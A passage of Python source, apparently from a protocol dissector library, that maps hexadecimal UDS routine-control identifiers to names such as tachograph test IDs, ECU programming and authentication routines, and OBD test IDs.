UDS_RC.routineControlIdentifiers[0x0147] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0148] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0149] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x014a] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x014b] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x014c] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x014d] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x014e] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x014f] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0150] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0151] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0152] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0153] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0154] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0155] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0156] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0157] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0158] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0159] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x015a] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x015b] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x015c] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x015d] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x015e] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x015f] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0160] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0161] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0162] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0163] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0164] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0165] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0166] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0167] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0168] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0169] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x016a] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x016b] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x016c] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x016d] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x016e] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x016f] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0170] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0171] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0172] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0173] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0174] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0175] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0176] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0177] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0178] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0179] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x017a] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x017b] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x017c] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x017d] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x017e] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x017f] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0180] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0181] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0182] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0183] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0184] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0185] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0186] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0187] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0188] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0189] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x018a] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x018b] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x018c] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x018d] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x018e] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x018f] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0190] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0191] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0192] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0193] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0194] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0195] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0196] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0197] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0198] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0199] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x019a] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x019b] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x019c] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x019d] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x019e] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x019f] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01a0] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01a1] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01a2] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01a3] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01a4] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01a5] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01a6] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01a7] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01a8] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01a9] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01aa] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01ab] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01ac] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01ad] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01ae] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01af] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01b0] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01b1] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01b2] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01b3] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01b4] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01b5] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01b6] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01b7] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01b8] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01b9] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01ba] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01bb] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01bc] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01bd] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01be] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01bf] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01c0] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01c1] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01c2] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01c3] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01c4] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01c5] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01c6] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01c7] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01c8] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01c9] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01ca] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01cb] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01cc] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01cd] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01ce] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01cf] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01d0] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01d1] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01d2] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01d3] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01d4] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01d5] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01d6] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01d7] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01d8] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01d9] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01da] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01db] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01dc] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01dd] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01de] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01df] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01e0] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01e1] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01e2] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01e3] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01e4] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01e5] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01e6] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01e7] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01e8] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01e9] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01ea] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01eb] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01ec] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01ed] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01ee] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01ef] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01f0] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01f1] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01f2] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01f3] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01f4] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01f5] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01f6] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01f7] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01f8] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01f9] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01fa] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01fb] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01fc] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01fd] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01fe] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x01ff] = "tachographTestIds_0100_01FF" UDS_RC.routineControlIdentifiers[0x0200] = "VCM_SVT" UDS_RC.routineControlIdentifiers[0x0202] = "checkMemory" UDS_RC.routineControlIdentifiers[0x0203] = "checkProgrammingPreCondition" UDS_RC.routineControlIdentifiers[0x0204] = "readSWEProgrammingStatus" UDS_RC.routineControlIdentifiers[0x0205] = "readSWEDevelopmentInfo" UDS_RC.routineControlIdentifiers[0x0206] = "checkProgrammingPower" UDS_RC.routineControlIdentifiers[0x0207] = "VCM_Generiere_SVT" UDS_RC.routineControlIdentifiers[0x020b] = "Steuergeraetetausch" UDS_RC.routineControlIdentifiers[0x020c] = "KeyExchange" UDS_RC.routineControlIdentifiers[0x020d] = "FingerprintExchange" UDS_RC.routineControlIdentifiers[0x020e] = "InternalAuthentication" UDS_RC.routineControlIdentifiers[0x020f] = "CyclicSignatureCheck" UDS_RC.routineControlIdentifiers[0x0210] = "TeleServiceLogin" UDS_RC.routineControlIdentifiers[0x0211] = "ExternalAuthentication" UDS_RC.routineControlIdentifiers[0x0212] = "StoreTransportKeyList" UDS_RC.routineControlIdentifiers[0x0213] = "InitSignalKeyDeployment" UDS_RC.routineControlIdentifiers[0x0214] = "N10GetState" UDS_RC.routineControlIdentifiers[0x0215] = "GetParameterN11" UDS_RC.routineControlIdentifiers[0x0220] = "RequestDeleteSwPackage" UDS_RC.routineControlIdentifiers[0x0230] = "ResetState" UDS_RC.routineControlIdentifiers[0x0231] = "GetState" UDS_RC.routineControlIdentifiers[0x0232] = "ResetStateFsCSM" UDS_RC.routineControlIdentifiers[0x0233] = "GetParameterN11" UDS_RC.routineControlIdentifiers[0x0234] = "ExternerInit" UDS_RC.routineControlIdentifiers[0x02a5] = "RequestListEntry" UDS_RC.routineControlIdentifiers[0x0303] = "DiagLoopbackStart" UDS_RC.routineControlIdentifiers[0x0304] = "DTC" UDS_RC.routineControlIdentifiers[0x0305] = "STEUERN_DM_FSS_MASTER" UDS_RC.routineControlIdentifiers[0x0f01] = "codingChecksum" UDS_RC.routineControlIdentifiers[0x0f02] = "clearMemory" UDS_RC.routineControlIdentifiers[0x0f04] = "selfTest" UDS_RC.routineControlIdentifiers[0x0f05] = "powerDown" UDS_RC.routineControlIdentifiers[0x0f06] = "clearDTCSecondaryMemory" UDS_RC.routineControlIdentifiers[0x0f07] = "requestForAuthentication" UDS_RC.routineControlIdentifiers[0x0f08] = "releaseAuthentication" UDS_RC.routineControlIdentifiers[0x0f09] = "checkSignature" UDS_RC.routineControlIdentifiers[0x0f0a] = "checkProgrammingStatus" UDS_RC.routineControlIdentifiers[0x0f0b] = "ExecuteDiagnosticService" UDS_RC.routineControlIdentifiers[0x0f0c] = "SetEnergyMode" # or controlEnergySavingMode # noqa E501 UDS_RC.routineControlIdentifiers[0x0f0d] = "resetSystemFaultMessage" UDS_RC.routineControlIdentifiers[0x0f0e] = "timeControlledPowerDown" UDS_RC.routineControlIdentifiers[0x0f0f] = "disableCommunicationOverGateway" UDS_RC.routineControlIdentifiers[0x0f1f] = "SwtRoutine" UDS_RC.routineControlIdentifiers[0x1002] = "Individualdatenrettung" UDS_RC.routineControlIdentifiers[0x1003] = "SetExtendedMode" UDS_RC.routineControlIdentifiers[0x1007] = "MasterVIN" UDS_RC.routineControlIdentifiers[0x100d] = "ActivateCodingMode" UDS_RC.routineControlIdentifiers[0x100e] = "ActivateProgrammingMode" UDS_RC.routineControlIdentifiers[0x100f] = "ActivateApplicationMode" UDS_RC.routineControlIdentifiers[0x1010] = "SetDefaultBus" UDS_RC.routineControlIdentifiers[0x1011] = "GetActualConfig" UDS_RC.routineControlIdentifiers[0x1013] = "RequestListEntryGWTB" UDS_RC.routineControlIdentifiers[0x1021] = "requestPreferredProtcol" UDS_RC.routineControlIdentifiers[0x1022] = "checkConnection" UDS_RC.routineControlIdentifiers[0x1024] = "ResetActivationlineLogical" UDS_RC.routineControlIdentifiers[0x1042] = "EthernetARLTable" UDS_RC.routineControlIdentifiers[0x1045] = "EthernetIPConfiguration" UDS_RC.routineControlIdentifiers[0x104e] = "EthernetARLTableExtended" UDS_RC.routineControlIdentifiers[0x4000] = "Diagnosemaster" UDS_RC.routineControlIdentifiers[0x4001] = "SetGWRouting" UDS_RC.routineControlIdentifiers[0x4002] = "HDDDownload" UDS_RC.routineControlIdentifiers[0x4004] = "KeepBussesAlive" UDS_RC.routineControlIdentifiers[0x4007] = "updateMode" UDS_RC.routineControlIdentifiers[0x4008] = "httpUpdate" UDS_RC.routineControlIdentifiers[0x7000] = "ProcessingApplicationData" UDS_RC.routineControlIdentifiers[0xa07c] = "RequestDeactivateHddSafeMode" UDS_RC.routineControlIdentifiers[0xa0b2] = "RequestSteuernApixReinitMode" UDS_RC.routineControlIdentifiers[0xab8f] = "setEngineAngle" UDS_RC.routineControlIdentifiers[0xe000] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe001] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe002] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe003] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe004] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe005] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe006] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe007] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe008] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe009] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe00a] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe00b] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe00c] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe00d] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe00e] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe00f] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe010] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe011] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe012] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe013] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe014] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe015] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe016] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe017] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe018] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe019] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe01a] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe01b] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe01c] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe01d] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe01e] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe01f] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe020] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe021] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe022] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe023] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe024] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe025] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe026] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe027] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe028] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe029] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe02a] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe02b] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe02c] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe02d] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe02e] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe02f] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe030] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe031] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe032] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe033] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe034] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe035] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe036] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe037] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe038] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe039] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe03a] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe03b] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe03c] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe03d] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe03e] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe03f] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe040] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe041] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe042] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe043] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe044] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe045] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe046] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe047] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe048] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe049] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe04a] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe04b] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe04c] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe04d] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe04e] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe04f] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe050] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe051] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe052] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe053] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe054] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe055] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe056] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe057] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe058] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe059] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe05a] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe05b] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe05c] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe05d] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe05e] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe05f] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe060] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe061] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe062] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe063] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe064] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe065] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe066] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe067] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe068] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe069] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe06a] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe06b] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe06c] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe06d] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe06e] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe06f] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe070] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe071] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe072] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe073] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe074] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe075] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe076] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe077] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe078] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe079] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe07a] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe07b] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe07c] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe07d] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe07e] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe07f] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe080] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe081] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe082] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe083] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe084] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe085] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe086] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe087] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe088] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe089] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe08a] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe08b] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe08c] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe08d] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe08e] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe08f] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe090] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe091] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe092] = "OBDTestIDs" UDS_RC.routineControlIdentifiers[0xe093] = "OBDTestIDs" 